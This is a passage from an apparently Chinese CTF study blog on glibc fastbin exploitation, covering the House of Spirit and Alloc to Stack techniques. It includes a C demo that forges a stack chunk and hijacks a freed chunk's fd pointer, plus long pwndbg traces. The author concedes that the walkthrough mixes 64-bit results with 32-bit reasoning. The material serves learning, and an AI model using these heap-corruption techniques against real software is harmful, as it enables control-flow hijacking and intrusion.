(16))),此属性指定了指定类型的变量的最小对齐(以字节为单位)。如果结构中有成员的长度大于16,则按照最大成员的长度来对齐,关于__attribute__ ((aligned (16)))的常用方法,可以参考<a href="https://blog.csdn.net/21aspnet/article/details/6729724">CSDN - 深度Java - C语言字节对齐</a>。</li><li>打印了数组下标为1位置的地址,将数组下标为2的地址赋给a指针,并释放a指针。</li><li>打印出数组下标为1和2两处位置的地址。</li><li>重新申请一个大小为0x30的chunk。</li></ol><p>我们虽然走了一遍流程,但是其中的细节还是需要在内存中清楚的看到,因为在使用gcc编译的时候使用-g参数,所以我们在首先在第11行下断点,使程序创建好a指针和fake_chunks数组,并查看一下fake_chunks数组的地址:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">b 11</span><br>Breakpoint 1 at 0x4006fb: file hollk1.c, line 11.<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">r</span><br>Starting program: /home/ctf/CTF-Workspace/fastbin-attack/House_Of_Spirit/hollk1<br>This region (memory of length: 80) contains two chunks. The first starts at 0x7ffe41cb9f58 and the second at 0x7ffe41cb9f88.<br></code></pre></td></tr></table></figure><p>可以看到输出的fake_chunks[1]的地址为0x7ffe41cb9f58,那么fake_chunks的起始地址就为0x7ffe41cb9f50,我们去这个起始地址看一下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/20gx 0x7ffe41cb9f50</span><br>0x7ffe41cb9f50: 0x0000000000000001 [0] 0x00007ffe41cb9fd0 [1]<br>0x7ffe41cb9f60: 0x0000763bc9d6b168 [2] 0x00000000000000f0 [3]<br>0x7ffe41cb9f70: 0x0000000000000001 [4] 0x000000000040082d [5]<br>0x7ffe41cb9f80: 0x00007ffe41cb9fae [6] 0x0000000000000000 [7]<br>0x7ffe41cb9f90: 0x00000000004007e0 [8] 0x00000000004005b0 [9]<br></code></pre></td></tr></table></figure><p>接下来我们在第13行下断点,将<code>0x40</code>、<code>0x1234</code>分别写进fake_chunks[1]和fake_chunks[9]的位置。并且在看一下里面的部署情况:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/20gx 0x7ffeff4880a0</span><br>0x7ffeff4880a0: 0x0000000000000001 [0] 0x0000000000000040 [1]<br>0x7ffeff4880b0: 0x00007209fec5b168 [2] 0x00000000000000f0 [3]<br>0x7ffeff4880c0: 0x0000000000000001 [4] 0x000000000040082d [5]<br>0x7ffeff4880d0: 0x00007ffeff4880fe [6] 0x0000000000000000 [7]<br>0x7ffeff4880e0: 0x00000000004007e0 [8] 0x0000000000001234 [9]<br></code></pre></td></tr></table></figure><p>可以看到fake_chunks[1]的位置被覆盖为乐0x40,fake_chunk[9]的位置变为了0x1234。改变这两个位置的作用是什么呢?这里其实是在伪造一个假的chunk,<code>0x7ffeff4880a0</code>位置作为chunk的prev_size,<code>0x7ffeff4880a8</code>位置的的0x40作为chunk的size位。这里需要注意的是,这里为什么被写成0x40,因为前面我们讲当一个chunk被释放后如果想要挂进fastbin中需要满足5条检查规则,那么0x40满足以下要求:</p><ol><li>fake chunk 的 ISMMAP 位不能为 1</li><li>fake chunk 地址需要对齐</li><li>fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐</li></ol><p><code>0x7ffeff4880b0 ~ 0x7ffeff4880d8</code>这段区域就用作fake_chunk的data 区域,正好是0x30,那么在fake_chunks[9]位置放置0x1234,这里其实是作为next_chunk的size位,这里也满足了检查中的:</p><ul><li>fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem</li></ul><blockquote><p>注:hollk师傅的原文步骤根据我的环境下应该是<code>0x7ffeff4880b0 ~ 0x7ffeff4880d8</code>,也就是原文的<code>0x7fffffffdf90 ~0x7fffffffdfb8</code>,但这个想法是有点小问题的,因为这是一个64位程序,而本文讨论的环境是在32位下才对,所以编译时应该还得带一个<code>-m32</code>才对,因此结合伪造chunk的size大小为0x40,fake_chunk后一个chunk应该在<code>0x7ffeff4880e0</code>才对(这个时候请把他当成这是一个32位程序调试出来的结果),将错就错吧:)</p></blockquote><blockquote><p>叽里咕噜地说啥呢(bushi</p></blockquote><p>接下来我们在第16行下断点,这里完成了对a指针的赋值,会将fake_chunk[2]的地址赋给a指针变量,这里的fake_chunk[2]其实对应的就是伪造块的data指针,打印后看一下a指针的地址:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br>Continuing.<br>Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc62569c48.<br>0x7ffc62569c38 (a指针)<br></code></pre></td></tr></table></figure><p>其实就是伪造chunk前一个地址位宽位置:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/20gx 0x7ffc62569c38 - 0x8</span><br>0x7ffc62569c30: 0x0000000000000000 0x00007ffc62569c50 a指针 -> 0x000070eb5dba3168<br>0x7ffc62569c40: 0x0000000000000001 prev_size 0x0000000000000040 size<br>0x7ffc62569c50: 0x000070eb5dba3168 0x00000000000000f0 data<br>0x7ffc62569c60: 0x0000000000000001 0x000000000040082d data<br>0x7ffc62569c70: 0x00007ffc62569c9e 0x0000000000000000 data<br>0x7ffc62569c80: 0x00000000004007e0 0x0000000000001234 next_size<br></code></pre></td></tr></table></figure><p>可以看到在 <code>0x7ffc62569c38</code> 中存放的就是伪造chunk的data指针,接下来将断点下在第18行,释放a并打印出fake_chunks[1]和fake_chunks[2],我们查看一下bin中的情况,接下来将断点下在第19行,我们重新申请一个0x30大小的chunk:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br>Continuing.<br>malloc(0x30): 0x7ffcf28551b0<br><br>Breakpoint 2, main () at hollk1.c:19<br>19 puts("hollk"); //为了下断点调试,加了个puts函数<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>─────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]──────────────────────────────────<br>*RAX 0x1d<br> RBX 0x0<br> RCX 0x733a608793c0 (__write_nocancel+7) ◂— cmp rax, -0xfff<br> RDX 0x733a60b48770 (_IO_stdfile_2_lock) ◂— 0x0<br> RDI 0x2<br> RSI 0x7ffcf2852b00 ◂— 'malloc(0x30): 0x7ffcf28551b0\nrn the region of our fake chunk at 0x7ffcf28551a8, which will be 0x7ffcf28551b0!\n1a8.\nf28551d8.\n'<br> R8 0x733a60d66700 ◂— 0x733a60d66700<br>*R9 0x1d<br> R10 0x0<br> R11 0x246<br> R12 0x4005b0 (_start) ◂— xor ebp, ebp<br> R13 0x7ffcf28552e0 ◂— 0x1<br> R14 0x0<br> R15 0x0<br> RBP 0x7ffcf2855200 —▸ 0x4007e0 (__libc_csu_init) ◂— push r15<br> RSP 0x7ffcf2855190 ◂— 0x1<br>*RIP 0x4007b0 (main+266) ◂— mov edi, 0x4009a9<br> EFLAGS 0x206 [ cf PF af zf sf IF df of ]<br>──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────<br> 0x400797 <main+241> mov rax, qword ptr [rip + 0x2008c2] <stderr@@GLIBC_2.2.5><br> 0x40079e <main+248> mov esi, 0x400997<br> 0x4007a3 <main+253> mov rdi, rax<br> 0x4007a6 <main+256> mov eax, 0<br> 0x4007ab <main+261> call fprintf@plt <fprintf@plt><br><br> ► 0x4007b0 <main+266> mov edi, 0x4009a9<br> 0x4007b5 <main+271> call puts@plt <puts@plt><br><br> 0x4007ba <main+276> mov eax, 0<br> 0x4007bf <main+281> mov rsi, qword ptr [rbp - 8]<br> 0x4007c3 <main+285> xor rsi, qword ptr fs:[0x28]<br> 0x4007cc <main+294> je main+301 <main+301><br>───────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────<br>In file: /home/ctf/CTF-Workspace/fastbin-attack/House_Of_Spirit/hollk1.c<br> 14 a = &fake_chunks[2];<br> 15 fprintf(stderr,"%p\n",&a); //自己加的<br> 16 free(a);<br> 17 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);<br> 18 fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));<br> ► 19 puts("hollk"); //为了下断点调试,加了个puts函数<br> 20 }<br>───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────<br>00:0000│ rsp 0x7ffcf2855190 ◂— 0x1<br>01:0008│ 0x7ffcf2855198 —▸ 0x7ffcf28551b0 ◂— 0x0<br>02:0010│ 0x7ffcf28551a0 ◂— 0x1<br>03:0018│ 0x7ffcf28551a8 ◂— 0x40 /* '@' */<br>04:0020│ 0x7ffcf28551b0 ◂— 0x0<br>05:0028│ 0x7ffcf28551b8 ◂— 0xf0<br>06:0030│ 0x7ffcf28551c0 ◂— 0x1<br>07:0038│ 0x7ffcf28551c8 —▸ 0x40082d (__libc_csu_init+77) ◂— add rbx, 1<br>─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────<br> ► 0 0x4007b0 main+266<br> 1 0x733a607a2840 __libc_start_main+240<br>────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">bin</span><br>fastbins<br>empty<br>unsortedbin<br>empty<br>smallbins<br>empty<br>largebins<br>empty<br><span class="hljs-meta prompt_">pwndbg></span><br></code></pre></td></tr></table></figure><p>可以看到<code>malloc(0x30)</code>返回了一个栈地址,说明我们成功在栈上分配了内存。</p><h3 id="小总结"><a href="#小总结" class="headerlink" title="小总结"></a>小总结</h3><p>本质就是一种“迂回策略”,类似于回旋镖:<strong>不直接攻击目标地址本身,而是通过伪造其周边的chunk来欺骗内存管理器,最终达到在目标地址分配内存的目的。</strong></p><p>如图:<br><img src="/images/fastbin-attack/hospirit/House%20of%20Spirit%20Memory%20Layout.PNG"></p><h2 id="Alloc-to-Stack"><a href="#Alloc-to-Stack" class="headerlink" title="Alloc to Stack"></a>Alloc to Stack</h2><p>基于 fastbin 链表的特性:当前 chunk 的 fd 指针指向下一个 chunk,该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。</p><h3 id="Example-1"><a href="#Example-1" class="headerlink" title="Example"></a>Example</h3><p>我们把 fake_chunk 置于栈中称为 stack_chunk,同时劫持了 fastbin 链表中 chunk 的 fd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">chunk</span></span><br><span class="hljs-class">{</span><br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> pre_size;<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> size;<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> fd;<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> bk;<br>} CHUNK, *PCHUNK;<br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> CHUNK stack_chunk;<br> <span class="hljs-type">void</span> *chunk1;<br> <span class="hljs-type">void</span> *chunk_a;<br><br> <span class="hljs-comment">// 在栈上伪造 chunk 的 size 字段</span><br> stack_chunk.size = <span class="hljs-number">0x21</span>; <span class="hljs-comment">// 32字节(64位下 fastbin 范围)</span><br> <span class="hljs-comment">// pre_size、fd、bk 不需要显式设置(后面会被覆盖或不需要)</span><br><br> <span class="hljs-comment">// 分配一个 fastbin chunk</span><br> chunk1 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>); <span class="hljs-comment">// 实际分配 0x20 字节(含头部)</span><br><br> <span class="hljs-comment">// 释放它,进入 fastbin</span><br> <span class="hljs-built_in">free</span>(chunk1);<br><br> <span class="hljs-comment">// 修改 fd 指针,指向栈上伪造的 chunk</span><br> *(<span class="hljs-type">long</span> <span class="hljs-type">long</span> *)chunk1 = (<span class="hljs-type">long</span> <span class="hljs-type">long</span>)&stack_chunk;<br><br> <span class="hljs-comment">// 第一次 malloc:从 fastbin 取出原来的 chunk1</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br><br> <span class="hljs-comment">// 第二次 malloc:返回栈上的 stack_chunk 地址</span><br> chunk_a = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br><br> <span class="hljs-comment">// 打印结果验证</span><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"chunk_a 返回的地址: %p\n"</span>, chunk_a);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"stack_chunk 的地址: %p\n"</span>, &stack_chunk);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"是否成功分配到栈上: %s\n"</span>, <br> (<span class="hljs-type">char</span> *)chunk_a == (<span class="hljs-type">char</span> *)&stack_chunk + <span class="hljs-number">0x10</span> ? <span class="hljs-string">"是"</span> : <span class="hljs-string">"否"</span>);<br> <span class="hljs-comment">// 注意:chunk_a 指向的是用户数据区,实际 chunk 头在 chunk_a - 0x10</span><br><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>观察到如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">n</span><br>29 *(long long *)chunk1 = (long long)&stack_chunk;<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>─────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]──────────────────────────────────<br>*RAX 0x0<br> RBX 0x0<br>*RCX 0x7440b23deb00 (__memalign_hook) —▸ 0x7440b209fea0 (memalign_hook_ini) ◂— push r12<br>*RDX 0x0<br>*RDI 0xffffffff<br>*RSI 0x7440b23deb28 (main_arena+8) —▸ 0x20503000 ◂— 0x0<br>*R8 0x20503010 ◂— 0x0<br>*R9 0x0<br>*R10 0x8b8<br>*R11 0x7440b209e540 (free) ◂— push r13<br> R12 0x400530 (_start) ◂— xor ebp, ebp<br> R13 0x7fff8cde19a0 ◂— 0x1<br> R14 0x0<br> R15 0x0<br> RBP 0x7fff8cde18c0 —▸ 0x400700 (__libc_csu_init) ◂— push r15<br> RSP 0x7fff8cde1880 —▸ 0x20503010 ◂— 0x0<br>*RIP 0x40065f (main+57) ◂— lea rdx, [rbp - 0x30]<br> EFLAGS 0x202 [ cf pf af zf sf IF df of ]<br>──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────<br> 0x400653 <main+45> mov rax, qword ptr [rbp - 0x40]<br> 0x400657 <main+49> mov rdi, rax<br> 0x40065a <main+52> call free@plt <free@plt><br><br> ► 0x40065f <main+57> lea rdx, [rbp - 0x30]<br> 0x400663 <main+61> mov rax, qword ptr [rbp - 0x40]<br> 0x400667 <main+65> mov qword ptr [rax], rdx<br> 0x40066a <main+68> mov edi, 0x10<br> 0x40066f <main+73> call malloc@plt <malloc@plt><br><br> 0x400674 <main+78> mov edi, 0x10<br> 0x400679 <main+83> call malloc@plt <malloc@plt><br><br> 0x40067e <main+88> mov qword ptr [rbp - 0x38], rax<br>───────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────<br>In file: /home/ctf/CTF-Workspace/fastbin-attack/Alloc_to_Stack/example1.c<br> 24<br> 25 // 释放它,进入 fastbin<br> 26 free(chunk1);<br> 27<br> 28 // 修改 fd 指针,指向栈上伪造的 chunk<br> ► 29 *(long long *)chunk1 = (long long)&stack_chunk;<br> 30<br> 31 // 第一次 malloc:从 fastbin 取出原来的 chunk1<br> 32 malloc(0x10);<br> 33<br> 34 // 第二次 malloc:返回栈上的 stack_chunk 地址<br>───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────<br>00:0000│ rsp 0x7fff8cde1880 —▸ 0x20503010 ◂— 0x0<br>01:0008│ 0x7fff8cde1888 —▸ 0x40074d (__libc_csu_init+77) ◂— add rbx, 1<br>02:0010│ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>03:0018│ 0x7fff8cde1898 ◂— 0x21 /* '!' */<br>04:0020│ 0x7fff8cde18a0 —▸ 0x400700 (__libc_csu_init) ◂— push r15<br>05:0028│ 0x7fff8cde18a8 —▸ 0x400530 (_start) ◂— xor ebp, ebp<br>06:0030│ 0x7fff8cde18b0 —▸ 0x7fff8cde19a0 ◂— 0x1<br>07:0038│ 0x7fff8cde18b8 ◂— 0x355e8484b10ddc00<br>─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────<br> ► 0 0x40065f main+57<br> 1 0x7440b203a840 __libc_start_main+240<br>────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">bin</span><br>fastbins<br>0x20: 0x20503000 ◂— 0x0<br>unsortedbin<br>empty<br>smallbins<br>empty<br>largebins<br>empty<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/8gx 0x20503000</span><br>0x20503000: 0x0000000000000000 0x0000000000000021<br>0x20503010: 0x0000000000000000 0x0000000000000000<br>0x20503020: 0x0000000000000000 0x0000000000020fe1<br>0x20503030: 0x0000000000000000 0x0000000000000000<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">n</span><br>32 malloc(0x10);<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>─────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]──────────────────────────────────<br>*RAX 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br> RBX 0x0<br> RCX 0x7440b23deb00 (__memalign_hook) —▸ 0x7440b209fea0 (memalign_hook_ini) ◂— push r12<br>*RDX 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br> RDI 0xffffffff<br> RSI 0x7440b23deb28 (main_arena+8) —▸ 0x20503000 ◂— 0x0<br> R8 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br> R9 0x0<br> R10 0x8b8<br> R11 0x7440b209e540 (free) ◂— push r13<br> R12 0x400530 (_start) ◂— xor ebp, ebp<br> R13 0x7fff8cde19a0 ◂— 0x1<br> R14 0x0<br> R15 0x0<br> RBP 0x7fff8cde18c0 —▸ 0x400700 (__libc_csu_init) ◂— push r15<br> RSP 0x7fff8cde1880 —▸ 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>*RIP 0x40066a (main+68) ◂— mov edi, 0x10<br> EFLAGS 0x202 [ cf pf af zf sf IF df of ]<br>──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────<br> 0x400657 <main+49> mov rdi, rax<br> 0x40065a <main+52> call free@plt <free@plt><br><br> 0x40065f <main+57> lea rdx, [rbp - 0x30]<br> 0x400663 <main+61> mov rax, qword ptr [rbp - 0x40]<br> 0x400667 <main+65> mov qword ptr [rax], rdx<br> ► 0x40066a <main+68> mov edi, 0x10<br> 0x40066f <main+73> call malloc@plt <malloc@plt><br><br> 0x400674 <main+78> mov edi, 0x10<br> 0x400679 <main+83> call malloc@plt <malloc@plt><br><br> 0x40067e <main+88> mov qword ptr [rbp - 0x38], rax<br> 0x400682 <main+92> mov rax, qword ptr [rbp - 0x38]<br>───────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────<br>In file: /home/ctf/CTF-Workspace/fastbin-attack/Alloc_to_Stack/example1.c<br> 27<br> 28 // 修改 fd 指针,指向栈上伪造的 chunk<br> 29 *(long long *)chunk1 = (long long)&stack_chunk;<br> 30<br> 31 // 第一次 malloc:从 fastbin 取出原来的 chunk1<br> ► 32 malloc(0x10);<br> 33<br> 34 // 第二次 malloc:返回栈上的 stack_chunk 地址<br> 35 chunk_a = malloc(0x10);<br> 36<br> 37 // 打印结果验证<br>───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────<br>00:0000│ rsp 0x7fff8cde1880 —▸ 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>01:0008│ 0x7fff8cde1888 —▸ 0x40074d (__libc_csu_init+77) ◂— add rbx, 1<br>02:0010│ rdx 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>03:0018│ 0x7fff8cde1898 ◂— 0x21 /* '!' */<br>04:0020│ 0x7fff8cde18a0 —▸ 0x400700 (__libc_csu_init) ◂— push r15<br>05:0028│ 0x7fff8cde18a8 —▸ 0x400530 (_start) ◂— xor ebp, ebp<br>06:0030│ 0x7fff8cde18b0 —▸ 0x7fff8cde19a0 ◂— 